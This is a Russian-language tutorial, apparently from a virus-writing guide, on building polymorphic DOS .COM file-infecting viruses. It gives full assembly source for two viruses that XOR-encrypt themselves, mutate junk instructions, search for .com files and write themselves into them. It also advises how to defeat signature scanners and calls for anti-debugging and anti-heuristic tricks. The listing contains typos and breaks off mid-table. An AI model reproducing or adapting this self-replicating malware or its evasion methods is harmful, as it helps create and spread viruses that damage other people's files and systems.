В этом вирусе использован способ шифрования, который уменьшает нешифрованную часть. Сам код шифруется, но его шифрованная версия помещается уже после конца вируса, что позволяет значительно уменьшить размер нешифрованной части приблизительно на треть.

Все байты, начинающиеся на junk, являются мусорными байтами, и они мутируют при вызове процедуры musor.

Теперь давайте рассмотрим этот вирус более подробно.

Рассмотрим первый блок данного вируса:

start:
        junk1   db 90h                  ; !!!!
        lea     si,encrypted            ; Кладем в si начало шифрованной части кода
        junk2   db 90h                  ; !!!!
        mov     di,si                   ; В di тоже самое
        junk3   db 90h                  ; !!!!
        mov     cx,finished-encrypted   ; В cx кладем количество байт для шифрования
        junk4   db 90h                  ; !!!!
        call    encryption              ; Вызов процедуры шифрования/расшифрования
        junk5   db 90h                  ; !!!!
        jmp     encrypted               ; Переход на начало шифрованного кода
        junk6   db 90h                  ; !!!!
 

Все инструкции, отмеченные восклицательными знаками, — это мутирующие мусорные байты. В данном блоке мы определяем, с какого места нам расшифровать наш вирус и какое количество байт необходимо расшифровать. После этого мы вызываем процедуру расшифровки и после расшифровки передаем управление на расшифрованный код.

Перейдем ко второму блоку:

encryption:                             ; Процедура шифрования/расшифрования
        lodsb                           ; Загружаем в al байт
        junk7   db 90h                  ; !!!!
        xor     al,byte ptr [decrypt]   ; Преобразуем его операцией XOR
        junk8   db 90h                  ; !!!!
        stosb                           ; И кладем байт на прежнее место
        junk9   db 90h                  ; !!!!
        loop    encryption              ; Повторять операции, пока все байты не зашифрованы
        junk10  db 90h                  ; !!!!
        ret                             ; Выход из процедуры

decrypt db      0                       ; Ключ шифрования
 

Это непосредственно сама процедура шифрования/расшифрования, как и предыдущем блоке восклицательными знаками выделены мутирующие мусорные байты. В данном блоке используются инструкции lodsb и stosb. Инструкция lodsb загружает в регистр al байт с того места, куда указывает si, а инструкция stosb загружает байт из al в то место, на которое указывает di. Переменная decrypt — это ключ шифрования/расшифрования.

Третий блок:

encrypted:                              ; Начало шифрованной части кода
        call    musor                   ; Вызов нашего генератора мусора
        mov     ah,4eh                  ;Поиск первого файла
get:
        xor     cx,cx                   ;
        lea     dx,comfile              ;
        int     21h

        jc      end_virus

        mov     ax,3d02h                ; Открытие найденного файла на чтение/запись
        mov     dx,9eh                  ;
        int     21h
        xchg    bx,ax                   ;
 

В данном блоке вызывается генератор мусорных байт, затем идет поиск файла. Если файл найден, то он открывается в режиме чтение/запись.

Теперь четвертый блок:

        in      al,40h                  ; Получаем случайное число в al
        mov     byte ptr [decrypt],al   ; И это будет наш ключ шифрования

        lea     si,encrypted            ; Кладем в si начало шифрованной части кода
        lea     di,finished             ; Куда будем класть зашифрованный код

        mov     cx,finished-encrypted   ; Количество байт для шифрования
        call    encryption              ; Теперь вызываем процедуру шифрования
 

В данном блоке мы получаем случайное значение в al и сохраняем его в переменную decrypt. После этого в si мы кладем начало шифрованной части кода в di, туда, где зашифрованный код будет находиться перед его копированием в найденный файл. Он будет находиться после конца вируса. В сх будет количество байт для шифрования, и после вызывается процедура шифрования.

Пятый блок:

        mov     ah,40h                  ; Запишем в найденный файл
        mov     cx,encrypted-start      ; Нешифрованную часть вируса
        lea     dx,start                ;
        int     21h

        mov     ah,40h                  ; Теперь допишем зашифрованную часть программы
        mov     cx,finished-encrypted   ;
        lea     dx,finished             ;
        int     21h

        mov     ah,3eh                  ; Закроем файл
        int     21h

        mov     ah,4fh                  ; Ищем следующий
        jmp     get                     ; и заражаем его

end_virus:
        ret                             ; Конец программы
 

Сначала в найденный файл копируется нешифрованная часть вируса, а затем с конца вируса копируется зашифрованная часть вируса. Затем файл закрывается и начинается поиск нового. Если такого нет, то работа вируса завершается.

Седьмой блок:

musor:                                  ; Процедура генерации мусора
        lea     si,start                ; Начиная с какого места мы генерируем мусор
        mov     di,si                   ; Сначала и мусор будет размещен там же
        mov     cx,encrypted-start      ; Кол-во байт, в которых могут встретиться мусорные
                                        ; команды
        call    generator               ; Вызов генератора мусора

        ret                             ; Возврат из процедуры
;----------------------------------------------
generator:
        lodsb                           ; Загружаем первый байт из нешифрованной части
        cmp     al,90h                  ; Проверяем, если это nop, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0f8h                 ; Проверяем, если это clc, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0f9h                 ; Проверяем, если это stc, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0fbh                 ; Проверяем, если это sti, то

        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0fch                 ; Проверяем, если это cld, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0fah                 ; Проверяем, если это cli, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        jmp     end_preob               ; Если мы попали сюда, то это не мусорный байт и его
                                        ; трогать не нужно
preob:
        call    random2                 ; Процедура генерации случайной мусорной команды
                                        ; Результат будет в al
end_preob:
        stosb                           ; Помещаем байт на прежнее место
        loop    generator               ; Проверяем все байты из нешифрованной части
        ret                             ; Возврат из процедуры
 

Вначале загружаются индексные регистры si и di для указания на нешифрованную часть. Затем проверяется каждый байт из не шифрованной части на принадлежность к мусорному, если он мусорный, то вызываем процедура random2, которая изменяет этот байт по случайному закону. После этого даный байт помещается на прежнее место.

Последний блок:

random2:                                ; Процедура генерации случайной мусорной команды
        in      ax,40h                  ; В ах помещается случайное число
        and     ax,5                    ; Эта команда ограничивает это число диапазоном 0-5

        xchg    ax,bx                   ; Это случайное число помещается в bx
        add     bx,offset garbage       ; Добавляется смещение на таблицу мусорных команд
        mov     al,[bx]                 ; И в al помещается случайная команда из garbage
        ret                             ; Возврат из процедуры
;----------------------------------------------
garbage:
        nop                             ;
        clc                             ;
        stc                             ; Мусорные команды
        cmc                             ;
        cld                             ;
        sti                             ;
 

В данном блоке случайным образом выбирается команда из таблицы garbage и помещается в регистр al. Вот с простейшим полиморфным вирусом мы и разобрались.

Более-менее приличные сигнатурные сканеры быстро выявят этот вирус. Стоит лишь исправить сигнатуру на следующую: BE 22 01 ? 8В FE, и ваш вирус уже идентифицируется вне зависимости от вашего мутирующего байта. Что же делать? Можно, к примеру, сделать следующее: 90 BE 22 01 8В FE. То есть, необходимо мусорные команды чередовать в произвольном порядке с командами расшифровщика, но это по-прежнему не позволит обмануть хорошие сигнатурные сканеры, которым нужно только лишь пропускать мусорные команды. Это откроет им глаза на настоящий расшифровщик.

В качественном полиморфном вирусе помимо генератора мусора должны также присутствовать логические мутации. Посмотрите на идущие ниже команды: все они выполняют одно и то же действие — помещают в регистр dx число 100h:

        mov     dx,100h

        mov     ax,100h
        xchg    ax,dx

        mov     bx,100h
        push    bx
        pop     dx

        mov     cx.0ffh
        xor     dx,dx
        add     dx,cx
        inc     dx
        ;..............
 

Данные команды, по сути, выполняют одно и то же, а по виду они абсолютно различны. Помимо такого рода мутаций в полиморфном вирусе должны присутвовать ложные вызовы процедур, антиотладочные трюки и антиэвристика.

Существуют несколько способов реализации данного вида полиморфизма, смотрим более простой для понимания блочный полиморфизм. Он заключается в том, что существуют уже готовые заготовки отдельных инструкций расшифровщика.

Перейдем к листингу:

;----------------------------------------------
code    segment                         ;
assume  cs:code,ds:code                 ;
        org     100h                    ;
        .286                            ; Этот режим необходим для того, чтобы можно было
                                        ; использовать инструкции типа push [число].
main:
;----------------------------------------------
mut1:
        sti                             ; !!!!
        call    encrypt_decrypt         ; Вызов процедуры шифрования
        nop                             ; !!!
;----------------------------------------------
mut2:
        lahf                            ; !!!!
        jmp     random_mutation         ; Начало работы вируса
        stc                             ; !!!!
;----------------------------------------------

infect_file:                            ; Процедура инфицирования

mut3:
        mov     dx,100h                 ; dx указывает на начало кода
        push    bx                      ; Сохраняем bx в стеке
        stc                             ; !!!!
;----------------------------------------------
mut4:
        nop                             ; !!!!
        call    encrypt_decrypt         ; Вызов процедуры шифрования
        cmc                             ; !!!!
;----------------------------------------------
mut5:
        clc                             ; !!!!
        pop     bx                      ; Восстановим из стека bx
        lahf                            ; !!!!
        mov     ah,40h                  ; DOS-функция записи в файл
;----------------------------------------------
mut6:
        nop                             ; !!!!
        int     21h                     ; Пишем вирусный код в файл
        dec     bp                      ; !!!!
        dec     bp                      ; !!!!
;----------------------------------------------
mut7:
        nop                             ; !!!!
        stc                             ; !!!!
        call    encrypt_decrypt         ; Расшифровка кода
;----------------------------------------------
mut8:
        cmc                             ; !!!!
        mov     ax,3fh                  ; !!!!
        ret                             ; Возврат из процедуры инфицирования
;----------------------------------------------
encrypt_decrypt:                        ; Процедура шифровки/расшифровки
mut9:
        mov     bx,offset virus_code    ; ; С какого места начинаем шифровать код
        lahf                            ; !!!!
        stc                             ; !!!!
;----------------------------------------------
xor_loop:                               ; Здесь начинается цикл
mut10:
        nop                             ; !!!!
        mov     ah,[bx]                 ; Берем текущий байт и кладем в ah
        stc                             ; !!!!
        cmc                             ; !!!!
;----------------------------------------------
mut11:
        xor     ah,encrypt_val          ; Преобразовываем его операцией X0R
        sti                             ; !!!!
;----------------------------------------------
mut12:
        clc                             ; !!!!
        cmc                             ; !!!!

        mov     [bx],ah                 ; Возвращаем байт на прежнее место
        sti                             ; !!!!
;----------------------------------------------
mut13:
        nop                             ; !!!!
        nop                             ; !!!!
        inc     bx                      ; Переходим к следующему байту
        stc                             ; !!!!
        clc                             ; !!!!
;----------------------------------------------
mut14:
        sahf                                            ; !!!!
        cmp     bx,offset virus_code+virus_size         ; Мы все байты зашифровали?
;----------------------------------------------
mut15:
        lahf                            ; !!!!
        jle     xor_loop                ; Если нет, то шифруем до конца мм
        nop                             ; !!!!
        sti                             ; !!!!
;----------------------------------------------
mut16:
        stc                             ; !!!!
        clc                             ; !!!!
        cli                             ; !!!!
        sti                             ; !!!!
        ret                             ; Возврат из шифрующей процедуры
;----------------------------------------------
encrypt_val     db      00h             ; Ключ шифрования
virus_size      equ     588             ; Размер вируса
;----------------------------------------------
virus_code:                             ; С этой метки шифруется код

random_mutation:                        ;

        call    polym                   ; Вызов процедуры мутации нешифрованной части
                                        ; вируса
        mov     ah,2ch                  ; Возьмем по таймеру значение
        int     21h
        mov     encrypt_val,dl          ; Присвоим это случайное значение ключу

find_com:
        xor     cx, cx
        lea     dx,fmask                ; Найдем файл по маске *.com
        mov     ah,4eh                  ;
        int     21h
        jnc     healthy

continue_search :
        mov     ah,4fh                  ; Ищем следующий файл
        int     21h                     ;
        jc      exit_virus              ; Если больше нет файлов, то идем на выход

healthy:
        mov     ax,3d02h                ; Откроем файл
        mov     dx,09eh

        int     21h

        mov     handle,ax               ; Сохраним хэндл файла в переменную
        xchg    ax, bx                  ; Поместим хэндл файла в bx
        mov     cx,virus_size           ; В сх поместим размер вируса

        call    infect_file             ; Заразим файл
        call    close_file              ; Закроем его
        jmp     short continue_search   ; Перейдем к следующей жертве
        ret

close_file:
        mov     bx,handle               ; Восстановим хэндл файла
        mov     ah,3eh                  ; Затем закроем файл
        int     21h
exit_virus:
        ret                             ; Конец программы
;----------------------------------------------
polym:
        call    musor                   ; Вызов процедуры, генерирующей мусорные команды
        call    random                  ; Вызов основной процедуры мутации

        ret                             ; Возврат из процедуры
;----------------------------------------------
ranaomL
        mov     di,100h                 ; Мутации начинать с начала вирусного кода
        mov     dx,0                    ; Счетчик мутаций
ran:
        in      ax,40h                  ; Получаем случайное число в ах
        and     ax,3                    ; Ограничиваем его диапазоном 0-3

        mul     ch1                     ; Умножаем на 5 размер одного блока

        xchg    ax,si                   ; Помещаем в si полученное число

        mov     ax,dx                   ; В ах помещаем номер мутируемого блока
        mul     ch2                     ; Умножаем на 20 - кол-во байт в 4-х блоках

        add     si,offset garbage1      ; Добавляем к si смещение на таблицу блоков
        add     si,ax                   ; Добавляем ах, который указывает на один из блоков
        mov     cx,5                    ; В сх помещается 5 - кол-во байт для перемещения
        rep     movsb                   ; Уже готовый разбавленный мусорными командами блок
                                        ; Помещается в нешифрованную часть вируса
        inc     dx                      ; Переходим к следующему блоку

        cmp     dx,15                   ; Пока все 16 блоков не мутировали
        jle     ran                     ; Продолжаем мутации
        ret                             ; Возврат из процедуры
;----------------------------------------------
garbage1:                               ; Таблица блоков. Один из четырех формирует
                                        ; инструкцию расшифровщика
        db      90h
        db      90h
        db      0e8h,23h,00h
;========================================
        db      90h
        db      0e8h,24h,00h

        db      90h
;========================================
        db      0e8h,25h,00h
        db      90h
        db      90h
;========================================
        db      90h
        db      0e8h,24h,00h
        db      90h
;========================================
garbage2:
        db      90h
        db      90h
        db      90h
        db      0ebh,47h
;========================================
        db      0ebh,4ah
        db      90h
        db      90h
        db      90h
;========================================
        db      90h
        db      90h
        db      0ebh,48h
        db      90h
;========================================
        db      90h
        db      0ebh,49h
        db      90h
        db      90h
;========================================
garbage3:
        db      90h
        push    bx
        mov     dx,100h
        push    bx
        mov     dx,100h
;========================================
        push    bx
        db      90h
        mov     dx,100h
;========================================
        push    bx
        push    100h
        pop     dx
;========================================
        mov     dx,100h
        db      90h
        push    bx
;========================================
garbage4:
        db      90h
        db      90h
        db      0e8h,14h,00h
;========================================

        db      90h
        db      0e8h,15h,00h
        db      90h
;========================================
        db      0e8h,16h,00h
        db      90h
        db      90h
;========================================
        db      90h
        db      0e8h,15h,00h
        db      90h
;========================================
garbage5:
        pop     bx
        mov     ah,3fh
        inc     ah
;========================================
        pop     ax
        xchg    ax,bx
        mov     ah,40h
        int     3h
;========================================
        mov     ah,41h
        pop     bx
        dec     ah
;========================================
        mov     ah,40h
        int     1h
        pop     bx
;========================================
garbage6:
        db      90h
        db      90h
        db      90h
        int     21h
;========================================
        int     21h
        db      90h
        db      90h
        db      90h
;========================================
        db      90h
        int     21h
        db      90h
        db      90h
;========================================
        db      90h
        int     21h
        db      90h
        db      90h
;========================================
garbage7:
        db      90h
        db      90h

        db      0e8h,05h,00h
;========================================
        db      90h
        db      0e8h,06h,00h
        db      90h
;========================================
        db      0e8h,07h,00h
        db      90h
        db      90h
;========================================
        db      90h
        db      0e8h,06h,00h
        db      90h
;========================================
garbage8:
        db      90h
        db      90h
        db      90h
        ret
        db      90h
;========================================
        db      90h
        pop     bx
        jmp     bx
        db      90h
;========================================
        db      90h
        ret
        db      90h
        db      90h
        db      90h
;========================================
        pop     ax
        jmp     ax
        db      90h
        db      90h
;========================================
garbage9:
        db      90h
        db      0bbh,51h,01h
        db      90h
;========================================
        db      90h
        db      90h
        db      0bbh,51h,01h
;========================================
        db      90h
        mov     bh,01h
        mov     bl,51h
;========================================
        mov     bl,51h
        mov     bh,01h
        db      90h
;========================================

garbage10:
        db      90h
        mov     ah,[bx]
        db      90h
        do      90h
;========================================
        mov     ah,[bx]
        db      90h
        db      90h
        db      90h
;========================================
        db      90h
        db      90h
        mov     ah,[bx]
        db      90h
;========================================
        db      90h
        db      90h
        db      90h
        mov     ah,[bx]
;========================================
garbage11:
        db      90h
        xor     ah,encrypt_val
;========================================
        xor     ah,encrypt_val
        db      90h
;========================================
        db      90n
        xor     ah,encrypt_val
;========================================
        xor     ah,encrypt_val
        db      90h
;========================================
garbage12: